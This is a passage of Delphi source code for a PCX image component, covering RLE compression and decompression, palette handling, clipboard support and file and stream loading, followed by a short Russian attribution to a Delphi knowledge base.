function TPCXImage.GetWidth: Integer;

begin
  Result := fPCXFile.fWidth;
end;
//---------------------------------------------------------------------

function TPCXImage.fGetBitmap: TBitmap;

begin
  Result := fBitmap;
end;
//-------------------------------------------------------------------//
// The credits for this procedure go to his work of TGIFImage by     //
// Reinier P. Sterkenburg                                            //
// Added 19/08/2001                                                  //
//-------------------------------------------------------------------//
// NOT TESTED!

procedure TPCXImage.LoadFromClipboardFormat(AFormat: WORD;
  ADAta: THandle; APalette: HPALETTE);

var
  Size: QWORD;
  Buf: Pointer;
  Stream: TMemoryStream;
  BMP: TBitmap;

begin
  if (AData = 0) then
    AData := GetClipBoardData(AFormat);
  if (AData <> 0) and (AFormat = CF_PCX) then
  begin
    Size := GlobalSize(AData);
    Buf := GlobalLock(AData);
    try
      Stream := TMemoryStream.Create;
      try
        Stream.SetSize(Size);
        Move(Buf^, Stream.Memory^, Size);
        Self.LoadFromStream(Stream);
      finally
        Stream.Free;
      end;
    finally

      GlobalUnlock(AData);
    end;
  end
  else if (AData <> 0) and (AFormat = CF_BITMAP) then
  begin
    BMP := TBitmap.Create;
    try
      BMP.LoadFromClipboardFormat(AFormat, AData, APalette);
      Self.Assign(BMP);
    finally
      BMP.Free;
    end;
  end
  else
    raise Exception.Create(CLIPBOARD_LOAD_ERROR);
end;
//-------------------------------------------------------------------//
// The credits for this procedure go to his work of TGIFImage by     //
// Reinier P. Sterkenburg                                            //
// Added 19/08/2001                                                  //
//-------------------------------------------------------------------//
// NOT TESTED!

procedure TPCXImage.SaveToClipboardFormat(var AFormat: WORD;
  var AData: THandle; var APalette: HPALETTE);

var
  Stream: TMemoryStream;
  Data: THandle;
  Buf: Pointer;

begin
  if Empty then
    Exit;
  // First store the bitmap to the clipboard
  fBitmap.SaveToClipboardFormat(AFormat, AData, APalette);
  // Then try to save the PCX
  Stream := TMemoryStream.Create;
  try
    SaveToStream(Stream);
    Stream.Position := 0;
    Data := GlobalAlloc(HeapAllocFlags, Stream.Size);
    try
      if Data <> 0 then
      begin
        Buf := GlobalLock(Data);
        try
          Move(Stream.Memory^, Buf^, Stream.Size);
        finally
          GlobalUnlock(Data);
        end;
        if SetClipBoardData(CF_PCX, Data) = 0 then
          raise Exception.Create(CLIPBOARD_SAVE_ERROR);
      end;
    except
      GlobalFree(Data);
      raise;
    end;
  finally
    Stream.Free;
  end;
end;
//-------------------------------------------------------------------//
// NOT TESTED!

function TPCXImage.GetEmpty: Boolean; // Added 19/08/2002

begin
  if Assigned(fBitmap) then
    Result := fBitmap.Empty
  else
    Result := (fPCXFile.fHeight = 0) or (fPCXFile.fWidth = 0);
end;
//---------------------------------------------------------------------

procedure TPCXImage.SaveToFile(const Filename: string);

var
  fPCX: TFileStream;
  W, WW: QWORD;

begin
  if (fBitmap.Width = 0) or (fBitmap.Height = 0) then
    raise Exception.Create(BITMAP_EMPTY);
  W := fBitmap.Width;
  WW := W div 8;
  if (W mod 8) > 0 then
    Inc(WW);
  case fBitmap.PixelFormat of
    pf1bit:
      begin
        // Fully supported by PCX and by this component
        fCreatePCXHeader(1, 1, WW);
        fConvertImageTo1And8BitPCXData(WW);
        fGetPalette(2);
      end;
    pf4bit:
      begin
        // I don't have 4-bit PCX images to test with
        // It will be treated as a 24 bit image
        fCreatePCXHeader(8, 3, W);
        fConvertImageTo24BitPCXData;
      end;
    pf8bit:
      begin
        // Fully supported by PCX and by this component
        fCreatePCXHeader(8, 1, W);
        fConvertImageTo1And8BitPCXData(W);
        fGetPalette(256);
      end;
    pf15bit:
      begin
        // Is this supported in PCX?
        // It will be treated as a 24 bit image
        fCreatePCXHeader(8, 3, W);
        fConvertImageTo24BitPCXData;
      end;
    pf16bit:
      begin
        // Is this supported in PCX?
        // It will be treated as a 24 bit image
        fCreatePCXHeader(8, 3, W);
        fConvertImageTo24BitPCXData;
      end;
    pf24bit:
      begin
        // Fully supported by PCX and by this component
        fCreatePCXHeader(8, 3, W);
        fConvertImageTo24BitPCXData;
      end;
    pf32bit:
      begin
        // Not supported by PCX
        fCreatePCXHeader(8, 3, W);
        fConvertImageTo24BitPCXData;
      end;
  else
    begin
      fCreatePCXHeader(8, 3, W);
      fConvertImageTo24BitPCXData;
    end; // of else
  end; // of Case
  fPCX := TFileStream.Create(Filename, fmCreate);
  try
    fPCX.Position := 0;
    SaveToStream(fPCX);
  finally
    fPCX.Free;
  end; // of finally
  SetLength(fPCXFile.fPCXData.fData, 0);
end; // of Procedure SaveToFile
//-------------------------------------------------------------------//

procedure TPCXImage.AssignTo(Dest: TPersistent);

var
  bAssignToError: Boolean;

begin
  bAssignToError := True;

  if Dest is TBitmap then
  begin
    // The old AssignTo procedure was like this.
    // But then the palette was couldn't be accessed in the calling
    // program for some reason.
    // --------------------------
    // (Dest as TBitmap).Assign(fBitmap);
    // If fBitmap.Palette <> 0 then
    //    (Dest as TBitmap).Palette := CopyPalette(fBitmap.Palette);
    // --------------------------

    // Do the assigning
    (Dest as TBitmap).Assign(fBitmap);

    if fPCXFile.fHasPalette then
      (Dest as TBitmap).Palette := CopyPalette(fhPAL);
    // Now the calling program can access the palette
    // (if it has one)!
    bAssignToError := False;
  end;

  if Dest is TPicture then
  begin
    (Dest as TPicture).Graphic.Assign(fBitmap);
    bAssignToError := False;
  end;

  if bAssignToError then
    raise Exception.Create(ASSIGNTO_ERROR);

  // You can write other assignments here, if you want...

end;
//-------------------------------------------------------------------//

procedure TPCXImage.Assign(Source: TPersistent);

var
  iX, iY: DWORD;
  bAssignError: Boolean;

begin
  bAssignError := True;

  if (Source is TBitmap) then
  begin
    fBitmap.Assign(Source as TBitmap);
    if (Source as TBitmap).Palette <> 0 then
    begin
      fhPAL := CopyPalette((Source as TBitmap).Palette);
      fBitmap.Palette := fhPAL;
    end;
    bAssignError := False;
  end;

  if (Source is TPicture) then
  begin
    iX := (Source as TPicture).Width;
    iY := (Source as TPicture).Height;
    fBitmap.Width := iX;
    fBitmap.Height := iY;
    fBitmap.Canvas.Draw(0, 0, (Source as TPicture).Graphic);
    bAssignError := False;
  end;

  // You can write other assignments here, if you want...

  if bAssignError then
    raise Exception.Create(ASSIGN_ERROR);

end;
//---------------------------------------------------------------------

procedure TPCXImage.Draw(ACanvas: TCanvas; const Rect: TRect);

begin
  // Faster
  // ACanvas.Draw(0,0,fBitmap);

  // Slower
  ACanvas.StretchDraw(Rect, fBitmap);
end;
//---------------------------------------------------------------------

procedure TPCXImage.LoadFromFile(const Filename: string);

begin
  fPCXFile.LoadFromFile(Filename);
  // added 5/4/2002
  case fPCXFile.fPixelFormat of
    1: fConvert1And8BitPCXDataToImage;
    8: fConvert1And8BitPCXDataToImage;
    24: fConvert24BitPCXDataToImage;
  end;
end;
//---------------------------------------------------------------------

procedure TPCXImage.SaveToStream(Stream: TStream);

begin
  fPCXFile.SaveToStream(Stream);
end;
//---------------------------------------------------------------------

procedure TPCXImage.LoadFromStream(Stream: TStream);

begin
  fPCXFile.LoadFromStream(Stream);
end;
///////////////////////////////////////////////////////////////////////
//                                                                   //
//                       Called by RLE compressor                    //
//                                                                   //
///////////////////////////////////////////////////////////////////////

procedure TPCXImage.fFillDataLines(const fLine: array of BYTE);

var
  By: BYTE;
  Cnt: WORD;
  I: QWORD;
  W: QWORD;

begin
  I := 0;
  By := fLine[0];
  Cnt := $C1;
  W := fBitmap.Width;

  repeat

    Inc(I);

    if By = fLine[I] then
    begin
      Inc(Cnt);
      if Cnt = $100 then
      begin
        fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] :=
          BYTE(Pred(Cnt));
        Inc(fPCXFile.fCurrentPos);
        fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := By;
        Inc(fPCXFile.fCurrentPos);
        Cnt := $C1;
        By := fLine[I];
      end;
    end;

    if (By <> fLine[I]) then
    begin
      if (Cnt = $C1) then
      begin
        // If (By < $C1) then
        if (By < $C0) then // changed 5/4/2002
        begin
          fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := By;
          Inc(fPCXFile.fCurrentPos);
        end
        else
        begin
          fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := BYTE(Cnt);
          Inc(fPCXFile.fCurrentPos);
          fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := By;
          Inc(fPCXFile.fCurrentPos);
        end;
      end
      else
      begin
        fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := BYTE(Cnt);
        Inc(fPCXFile.fCurrentPos);
        fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := By;
        Inc(fPCXFile.fCurrentPos);
      end;

      Cnt := $C1;
      By := fLine[I];
    end;

  until I = W - 1;

  // Write the last byte(s)
  if (Cnt > $C1) then
  begin
    fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := BYTE(Cnt);
    Inc(fPCXFile.fCurrentPos);
  end;

  if (Cnt = $C1) and (By > $C0) then
  begin
    fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := BYTE(Cnt);
    Inc(fPCXFile.fCurrentPos);
  end;

  fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := By;
  Inc(fPCXFile.fCurrentPos);

end;
//-------------------------------------------------------------------//
//                  RLE Compression algorithm                        //
//-------------------------------------------------------------------//

procedure TPCXImage.fConvertImageTo24BitPCXData; // Renamed 5/4/2002

var
  H, W: QWORD;
  X, Y: QWORD;
  I: QWORD;

begin
  H := fBitmap.Height;
  W := fBitmap.Width;
  fPCXFile.fCurrentPos := 0;
  SetLength(fPCXFile.fPCXData.fData, 6 * H * W); // To be sure...
  fBitmap.PixelFormat := pf24bit; // Always do this if you're using
  // ScanLine!

  for Y := 0 to H - 1 do
  begin
    fP := fBitmap.ScanLine[Y];
    I := 0;
    for X := 0 to W - 1 do
    begin
      fRLine[X] := fP[I];
      Inc(I); // Extract a red line
      fGLine[X] := fP[I];
      Inc(I); // Extract a green line
      fBLine[X] := fP[I];
      Inc(I); // Extract a blue line
    end;

    fFillDataLines(fBLine); // Compress the blue line
    fFillDataLines(fGLine); // Compress the green line
    fFillDataLines(fRLine); // Compress the red line

  end;

  // Correct the length of fPCXData.fData
  SetLength(fPCXFile.fPCXData.fData, fPCXFile.fCurrentPos);
end;
//-------------------------------------------------------------------//

procedure TPCXImage.fConvertImageTo1And8BitPCXData(ImageWidthInBytes:
  QWORD);

var
  H, W, X, Y: QWORD;
  oldByte, newByte: BYTE;
  Cnt: BYTE;

begin
  H := fBitmap.Height;
  W := ImageWidthInBytes;
  fPCXFile.fCurrentPos := 0;
  SetLength(fPCXFile.fPCXData.fData, 2 * H * W); // To be sure...
  oldByte := 0; // Otherwise the compiler issues a warning about
  // oldByte not being initialized...
  Cnt := $C1;
  for Y := 0 to H - 1 do
  begin
    fP := fBitmap.ScanLine[Y];
    for X := 0 to W - 1 do
    begin

      newByte := fP[X];

      if X > 0 then
      begin
        if (Cnt = $FF) then
        begin
          fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := Cnt;
          Inc(fPCXFile.fCurrentPos);
          fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := oldByte;
          Inc(fPCXFile.fCurrentPos);
          Cnt := $C1;
        end
        else if newByte = oldByte then
          Inc(Cnt);

        if newByte <> oldByte then
        begin
          if (Cnt > $C1) or (oldByte >= $C0) then
          begin
            fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := Cnt;
            Inc(fPCXFile.fCurrentPos);
            Cnt := $C1;
          end;
          fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := oldByte;
          Inc(fPCXFile.fCurrentPos);
        end;

      end;
      oldByte := newByte;
    end;
    // Write last byte of line
    if (Cnt > $C1) or (oldByte >= $C0) then
    begin
      fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := Cnt;
      Inc(fPCXFile.fCurrentPos);
      Cnt := $C1;
    end;

    fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := oldByte;
    Inc(fPCXFile.fCurrentPos);
  end;

  // Write last byte of image
  if (Cnt > $C1) or (oldByte >= $C0) then
  begin
    fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := Cnt;
    Inc(fPCXFile.fCurrentPos);
    // Cnt := 1;
  end;
  fPCXFile.fPCXData.fData[fPCXFile.fCurrentPos] := oldByte;
  Inc(fPCXFile.fCurrentPos);

  // Correct the length of fPCXData.fData
  SetLength(fPCXFile.fPCXData.fData, fPCXFile.fCurrentPos);
end;
//-------------------------------------------------------------------//
//                  RLE Decompression algorithm                      //
//-------------------------------------------------------------------//

procedure TPCXImage.fConvert24BitPCXDataToImage; // Renamed 5/4/2002

var

  I: QWORD;
  By: BYTE;
  Cnt: BYTE;
  H, W: QWORD;
  X, Y: QWORD;
  K, L: QWORD;

begin
  H := fPCXFile.fPCXHeader.fWindow.wBottom -
    fPCXFile.fPCXHeader.fWindow.wTop + 1;
  W := fPCXFile.fPCXHeader.fWindow.wRight -
    fPCXFile.fPCXHeader.fWindow.wLeft + 1;
  Y := 0; // First line of image
  fBitmap.Width := W; // Set bitmap width
  fBitmap.Height := H; // Set bitmap height
  fBitmap.PixelFormat := pf24bit; // Always do this if you're using
  // ScanLine!
  I := 0; // Pointer to data byte of fPXCFile
  repeat

    // Process the red line
    // ProcessLine(fRLine,W);

    X := 0; // Pointer to position in Red / Green / Blue line
    repeat
      By := fPCXFile.fPCXData.fData[I];
      Inc(I);

      // one byte
      if By < $C1 then
        if X <= W then // added 5/4/2002
        begin
          fRLine[X] := By;
          Inc(X);
        end;

      // multiple bytes (RLE)
      if By > $C0 then
      begin
        Cnt := By and $3F;

        By := fPCXFile.fPCXData.fData[I];
        Inc(I);

        //FillChar(fRLine[J],Cnt,By);
        //Inc(J,Cnt);

        for K := 1 to Cnt do
          if X <= W then // added 5/4/2002
          begin
            fRLine[X] := By;
            Inc(X);
          end;

      end;

    until X >= W;

    // Process the green line
    // ProcessLine(fGLine,W);

    X := 0;
    repeat
      By := fPCXFile.fPCXData.fData[I];
      Inc(I);

      // one byte
      if By < $C1 then
        if X <= W then // added 5/4/2002
        begin
          fGLine[X] := By;
          Inc(X);
        end;

      // multiple bytes (RLE)
      if By > $C0 then
      begin
        Cnt := By and $3F;

        By := fPCXFile.fPCXData.fData[I];
        Inc(I);

        for K := 1 to Cnt do
          if X <= W then // added 5/4/2002
          begin
            fGLine[X] := By;
            Inc(X);
          end;

      end;

    until X >= W;

    // Process the blue line
    // ProcessLine(fBLine,W);

    X := 0;
    repeat
      By := fPCXFile.fPCXData.fData[I];
      Inc(I);

      // one byte
      if By < $C1 then
        if X <= W then // added 5/4/2002
        begin
          fBLine[X] := By;
          Inc(X);
        end;

      // multiple bytes (RLE)
      if By > $C0 then
      begin
        Cnt := By and $3F;

        By := fPCXFile.fPCXData.fData[I];
        Inc(I);

        for K := 1 to Cnt do
          if X <= W then // added 5/4/2002
          begin
            fBLine[X] := By;
            Inc(X);
          end;

      end;

    until X >= W;

    // Write the just processed data RGB lines to the bitmap
    fP := fBitmap.ScanLine[Y];
    L := 0;
    for X := 0 to W - 1 do
    begin
      fP[L] := fBLine[X];
      Inc(L);
      fP[L] := fGLine[X];
      Inc(L);
      fP[L] := fRLine[X];
      Inc(L);
    end;

    Inc(Y); // Process the next RGB line

  until Y >= H;

  SetLength(fPCXFile.fPCXData.fData, 0);
end;
//-------------------------------------------------------------------//

procedure TPCXImage.fConvert1And8BitPCXDataToImage; // added 5/4/2002

var
  I, J: QWORD;
  By: BYTE;
  Cnt: BYTE;
  H, W, WW: QWORD;
  X, Y: QWORD;

begin
  H := fPCXFile.fPCXHeader.fWindow.wBottom -
    fPCXFile.fPCXHeader.fWindow.wTop + 1;
  W := fPCXFile.fPCXHeader.fWindow.wRight -
    fPCXFile.fPCXHeader.fWindow.wLeft + 1;
  fBitmap.Width := W; // Set bitmap width
  fBitmap.Height := H; // Set bitmap height
  WW := W;

  // 1 bit PCX
  if fPCXFile.fPixelFormat = 1 then
  begin
    // All 1 bit images have a palette
    fBitmap.PixelFormat := pf1bit; // Always do this if you're using
    // ScanLine!
    WW := W div 8; // Correct width for pf1bit
    if W mod 8 > 0 then
    begin
      Inc(WW);
      fBitMap.Width := WW * 8;
    end;
    fSetPalette(2);
  end;

  // 8 bit PCX
  if fPCXFile.fPixelFormat = 8 then
  begin
    // All 8 bit images have a palette!
    // This is how to set the palette of a bitmap
    // 1. First set the bitmap to pf8bit;
    // 2. then set the palette of the bitmap;
    // 3. then set the pixels with ScanLine or with Draw.
    // If you do it with StretchDraw, it won't work. Don't ask me why.
    // If you don't do it in this order, it won't work either! You'll
    // get strange colors.
    fBitmap.PixelFormat := pf8bit; // Always do this if you're using
    // ScanLine!
    fSetPalette(256);
  end;

  I := 0;
  Y := 0;
  repeat
    fP := fBitmap.ScanLine[Y];
    X := 0; // Pointer to position in line
    repeat
      By := fPCXFile.fPCXData.fData[I];
      Inc(I);

      // one byte
      if By < $C1 then
        if X <= WW then
        begin
          fP[X] := By;
          Inc(X);
        end;

      // multiple bytes (RLE)
      if By > $C0 then
      begin
        Cnt := By and $3F;

        By := fPCXFile.fPCXData.fData[I];
        Inc(I);

        for J := 1 to Cnt do
          if X <= WW then
          begin
            fP[X] := By;
            Inc(X);
          end;

      end;

    until X >= WW;

    Inc(Y); // Next line

  until Y >= H;
end;
//---------------------------------------------------------------------

procedure TPCXImage.fCreatePCXHeader(const byBitsPerPixel: BYTE;
  const byPlanes: BYTE; const wBytesPerLine: DWORD);

var
  H, W: WORD;

begin
  W := fBitmap.Width;
  H := fBitmap.Height;

  // PCX header
  fPCXFile.fPCXHeader.fID := BYTE($0A); // BYTE (1)
  fPCXFile.fPCXHeader.fVersion := BYTE(5); // BYTE (2)
  fPCXFile.fPCXHeader.fCompressed := BYTE(1); // BYTE (3)
  // 0 = uncompressed, 1 = compressed
  // Only RLE compressed files are supported by this component
  fPCXFile.fPCXHeader.fBitsPerPixel := BYTE(byBitsPerPixel);
  // BYTE (4)
  fPCXFile.fPCXHeader.fWindow.wLeft := WORD(0); // WORD (5,6)
  fPCXFile.fPCXHeader.fWindow.wTop := WORD(0); // WORD (7,8)
  fPCXFile.fPCXHeader.fWindow.wRight := WORD(W - 1); // WORD (9,10)
  fPCXFile.fPCXHeader.fWindow.wBottom := WORD(H - 1); // WORD (11,12)
  fPCXFile.fPCXHeader.fHorzResolution := WORD(72); // WORD (13,14)
  fPCXFile.fPCXHeader.fVertResolution := WORD(72); // WORD (15,16)

  FillChar(fPCXFile.fPCXHeader.fColorMap, 48, 0); // Array of Byte
  // (17..64)

  fPCXFile.fPCXHeader.fReserved := BYTE(0); // BYTE (65)
  fPCXFile.fPCXHeader.fPlanes := BYTE(byPlanes);
  // BYTE (66)
  fPCXFile.fPCXHeader.fBytesPerLine := WORD(wBytesPerLine);
  // WORD (67,68)
  // must be even
  // rounded above
  fPCXFile.fPCXHeader.fPaletteInfo := WORD(1); // WORD (69,70)

  FillChar(fPCXFile.fPCXHeader.fFiller, 58, 0); // Array of Byte
  // (71..128)

  fPCXFile.fPixelFormat := fPCXFile.fPCXHeader.fPlanes *
    fPCXFile.fPCXHeader.fBitsPerPixel;
  fPCXFile.fColorDepth := 1 shl fPCXFile.fPixelFormat;
end;
//---------------------------------------------------------------------
(*
// From Delphi 5.0, graphics.pas
Function CopyPalette(Palette: HPALETTE): HPALETTE;

Var
   PaletteSize    : Integer;
   LogPal         : TMaxLogPalette;

Begin
Result := 0;
If Palette = 0 then
   Exit;
PaletteSize := 0;
If GetObject(Palette,SizeOf(PaletteSize),@PaletteSize) = 0 then
   Exit;
If PaletteSize = 0 then
   Exit;
With LogPal do
   Begin
   palVersion := $0300;
   palNumEntries := PaletteSize;
   GetPaletteEntries(Palette,0,PaletteSize,palPalEntry);
   End;
Result := CreatePalette(PLogPalette(@LogPal)^);
End;
*)
//---------------------------------------------------------------------
// From Delphi 5.0, graphics.pas
(*
Procedure TPCXImage.fSetPixelFormat(Value : TPixelFormat);

Const
  BitCounts : Array [pf1Bit..pf32Bit] of BYTE = (1,4,8,16,16,24,32);

Var
   DIB     : TDIBSection;
   Pal     : HPALETTE;
   DC      : hDC;
   KillPal : Boolean;

Begin
If Value = GetPixelFormat then
   Exit;
Case Value of
      pfDevice : Begin
                 HandleType := bmDDB;
                 Exit;
                 End;
      pfCustom : InvalidGraphic(@SInvalidPixelFormat);
   else
      FillChar(DIB,sizeof(DIB), 0);

   DIB.dsbm := FImage.FDIB.dsbm;
   KillPal := False;
   With DIB, dsbm,dsbmih do
      Begin
      bmBits := nil;
      biSize := SizeOf(DIB.dsbmih);
      biWidth := bmWidth;
      biHeight := bmHeight;
      biPlanes := 1;
      biBitCount := BitCounts[Value];
      Pal := FImage.FPalette;
      Case Value of
            pf4Bit  : Pal := SystemPalette16;
            pf8Bit  : Begin
                      DC := GDICheck(GetDC(0));
                      Pal := CreateHalftonePalette(DC);
                      KillPal := True;
                      ReleaseDC(0, DC);
                      End;
            pf16Bit : Begin
                      biCompression := BI_BITFIELDS;
                      dsBitFields[0] := $F800;
                      dsBitFields[1] := $07E0;
                      dsBitFields[2] := $001F;
                      End;
         End; // of Case
      Try
      CopyImage(Handle, Pal, DIB);
      PaletteModified := (Pal <> 0);
      Finally
         if KillPal then
            DeleteObject(Pal);
            End; // of Try
      Changed(Self);
      End; // of With
   End; // of Case
End; // of Procedure
*)
//---------------------------------------------------------------------

procedure TPCXImage.fSetPalette(const wNumColors: WORD);

(* From Delphi 5.0, graphics.pas

Type
   TPalEntry = packed record
      peRed     : BYTE;
      peGreen   : BYTE;
      peBlue    : BYTE;
      End;

Type
   tagLOGPALETTE = packed record
      palVersion     : WORD;
      palNumEntries  : WORD;
      palPalEntry    : Array[0..255] of TPalEntry
      End;

Type
   TMAXLogPalette = tagLOGPALETTE;
   PMAXLogPalette = ^TMAXLogPalette;

Type
   PRGBQuadArray = ^TRGBQuadArray;
   TRGBQuadArray = Array[BYTE] of TRGBQuad;

Type
   PRGBQuadArray = ^TRGBQuadArray;
   TRGBQuadArray = Array[BYTE] of TRGBQuad;
*)

var
  pal: TMaxLogPalette;
  W: WORD;

begin
  pal.palVersion := $300; // The "Magic" number
  pal.palNumEntries := wNumColors;
  for W := 0 to 255 do
  begin
    pal.palPalEntry[W].peRed :=
      fPCXFile.fPCXPalette.fPalette[W].ceRed;
    pal.palPalEntry[W].peGreen :=
      fPCXFile.fPCXPalette.fPalette[W].ceGreen;
    pal.palPalEntry[W].peBlue :=
      fPCXFile.fPCXPalette.fPalette[W].ceBlue;
    pal.palPalEntry[W].peFlags := 0;
  end;

  (* Must we delete the old palette first here? I dont know.
  If fhPAL <> 0 then
     DeleteObject(fhPAL);
  *)

  fhPAL := CreatePalette(PLogPalette(@pal)^);
  if fhPAL <> 0 then
    fBitmap.Palette := fhPAL;
end;
//---------------------------------------------------------------------

function TPCXImage.fGetPixelFormat: TPixelFormat;

// Only pf1bit, pf4bit and pf8bit images have a palette.
// pf15bit, pf16bit, pf24bit and pf32bit images have no palette.
// You can change the palette of pf1bit images in windows.
// The foreground color and the background color of pf1bit images
// do not have to be black and white. You can choose any tow colors.
// The palette of pf4bit images is fixed.
// The palette entries 0..9 and 240..255 of pf8bit images are reserved
// in windows.
begin
  Result := pfDevice;
  case fPCXFile.fPixelFormat of
    01: Result := pf1bit; // Implemented WITH palette.
    // 04 : Result :=  pf4bit; // Not yet implemented in this component,
                               // is however implemented in PCX format.
    08: Result := pf8bit; // Implemented WITH palette.
    // 15 : Result := pf15bit; // Not implemented in PCX format?
    // 16 : Result := pf16bit; // Not implemented in PCX format?
    24: Result := pf24bit; // Implemented, has no palette.
    // 32 : Result := pf32bit; // Not implemented in PCX format.
  end;
end;
//---------------------------------------------------------------------

procedure TPCXImage.fGetPalette(const wNumColors: WORD);

var
  pal: TMaxLogPalette;
  W: WORD;

begin
  fPCXFile.fPCXPalette.fSignature := $0C;

  pal.palVersion := $300; // The "Magic" number
  pal.palNumEntries := wNumColors;
  GetPaletteEntries(CopyPalette(fBitmap.Palette), 0, wNumColors,
    pal.palPalEntry);
  for W := 0 to 255 do
    if W < wNumColors then
    begin
      fPCXFile.fPCXPalette.fPalette[W].ceRed :=
        pal.palPalEntry[W].peRed;
      fPCXFile.fPCXPalette.fPalette[W].ceGreen :=
        pal.palPalEntry[W].peGreen;
      fPCXFile.fPCXPalette.fPalette[W].ceBlue :=
        pal.palPalEntry[W].peBlue;
    end
    else
    begin
      fPCXFile.fPCXPalette.fPalette[W].ceRed := 0;
      fPCXFile.fPCXPalette.fPalette[W].ceGreen := 0;
      fPCXFile.fPCXPalette.fPalette[W].ceBlue := 0;
    end;
end;
//=====================================================================

///////////////////////////////////////////////////////////////////////
//                                                                   //
//                         TPCXFile                                  //
//                                                                   //
///////////////////////////////////////////////////////////////////////

constructor TPCXFile.Create;

begin
  inherited Create;
  fHeight := 0;
  fWidth := 0;
  fCurrentPos := 0;
end;
//---------------------------------------------------------------------

destructor TPCXFile.Destroy;

begin
  SetLength(fPCXData.fData, 0);
  inherited Destroy;
end;
//---------------------------------------------------------------------

procedure TPCXFile.LoadFromFile(const Filename: string);

var
  fPCXStream: TFileStream;

begin
  fPCXStream := TFileStream.Create(Filename, fmOpenRead);
  try
    fPCXStream.Position := 0;
    LoadFromStream(fPCXStream);
  finally
    fPCXStream.Free;
  end;
end;
//---------------------------------------------------------------------

procedure TPCXFile.SaveToFile(const Filename: string);

var
  fPCXStream: TFileStream;

begin
  fPCXStream := TFileStream.Create(Filename, fmCreate);
  try
    fPCXStream.Position := 0;
    SaveToStream(fPCXStream);
  finally
    fPCXStream.Free;
  end;
end;
//---------------------------------------------------------------------

procedure TPCXFile.LoadFromStream(Stream: TStream);

var
  fFileLength: Cardinal;

begin
  // Read the PCX header
  Stream.Read(fPCXHeader, SizeOf(fPCXHeader));

  // Check the ID byte
  if fPCXHeader.fID <> $0A then
    raise Exception.Create(FORMAT_ERROR);

  (*
  Check PCX version byte
  ======================
  Versionbyte = 0 => PC PaintBrush V2.5
  Versionbyte = 2 => PC Paintbrush V2.8 with palette information
  Versionbyte = 3 => PC Paintbrush V2.8 without palette information
  Versionbyte = 4 => PC Paintbrush for Windows
  Versionbyte = 5 => PC Paintbrush V3 and up, and PC Paintbrush Plus
                     with 24 bit image support
  *)
  // Check the PCX version
  if fPCXHeader.fVersion <> 5 then
    raise Exception.Create(VERSION_ERROR);

  // Calculate width
  fWidth := fPCXHeader.fWindow.wRight - fPCXHeader.fWindow.wLeft + 1;
  if fWidth < 0 then
    raise Exception.Create(WIDTH_OUT_OF_RANGE);

  // Calculate height
  fHeight := fPCXHeader.fWindow.wBottom - fPCXHeader.fWindow.wTop + 1;
  if fHeight < 0 then
    raise Exception.Create(HEIGHT_OUT_OF_RANGE);

  // Is it too large?
  if fWidth > fMaxImageWidth then
    raise Exception.Create(IMAGE_WIDTH_TOO_LARGE);

  // Calculate pixelformat
  fPixelFormat := fPCXHeader.fPlanes * fPCXHeader.fBitsPerPixel;

  // Calculate number of colors
  fColorDepth := 1 shl fPixelFormat;

  // Is this image supported?
  if not (fPixelFormat in [1, 8, 24]) then
    raise Exception.Create(ERROR_UNSUPPORTED);

  // The lines following are NOT tested!!!
  (*
  If fColorDepth <= 16 then
     For I := 0 to fColorDepth - 1 do
        Begin
        If fPCXHeader.fVersion = 3 then
           Begin
           fPCXPalette.fPalette[I].R := fPCXHeader.fColorMap[I].R shl 2;
           fPCXPalette.fPalette[I].G := fPCXHeader.fColorMap[I].G shl 2;
           fPCXPalette.fPalette[I].B := fPCXHeader.fColorMap[I].B shl 2;
           End
        else
           Begin
           fPCXPalette.fPalette[I].R := fPCXHeader.fColorMap[I].R;
           fPCXPalette.fPalette[I].G := fPCXHeader.fColorMap[I].G;
           fPCXPalette.fPalette[I].B := fPCXHeader.fColorMap[I].B;
           End;
        End;
  *)

  // Calculate number of data bytes

  // If fFileLength > fMaxDataFileLength then
  //    Raise Exception.Create(INPUT_FILE_TOO_LARGE);

  if fPixelFormat = 24 then
  begin
    fFileLength := Stream.Size - Stream.Position;
    SetLength(fPCXData.fData, fFileLength);
    // Read the data
    Stream.Read(fPCXData.fData[0], fFileLength);
    fHasPalette := False;
  end;

  if fPixelFormat in [1, 8] then
  begin
    fFileLength := Stream.Size - Stream.Position - 769;
    SetLength(fPCXData.fData, fFileLength);
    // Correct number of data bytes
    Stream.Read(fPCXData.fData[0], fFilelength);
    // Read the palette
    Stream.Read(fPCXPalette, SizeOf(fPCXPalette));
    fHasPalette := True;
    // Check palette signature byte
    if fPCXPalette.fSignature <> $0C then
      raise Exception.Create(PALETTE_ERROR);
  end;

end;
//---------------------------------------------------------------------

procedure TPCXFile.SaveToStream(Stream: TStream);

begin
  fHasPalette := False;
  Stream.Write(fPCXHeader, SizeOf(fPCXHeader));
  Stream.Write(fPCXData.fData[0], fCurrentPos);
  if fPixelFormat in [1, 8] then
  begin
    Stream.Write(fPCXPalette, SizeOf(fPCXPalette));
    fHasPalette := True;
  end;
end;
//---------------------------------------------------------------------
// Register PCX format
initialization
  TPicture.RegisterFileFormat('PCX', sPCXImageFile, TPCXImage);
  CF_PCX := RegisterClipBoardFormat('PCX Image');
  TPicture.RegisterClipBoardFormat(CF_PCX, TPCXImage);
  //---------------------------------------------------------------------
  // Unregister PCX format
finalization
  TPicture.UnRegisterGraphicClass(TPCXImage);
  //---------------------------------------------------------------------
end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Пример работы чтения и сохранении wav-файлов

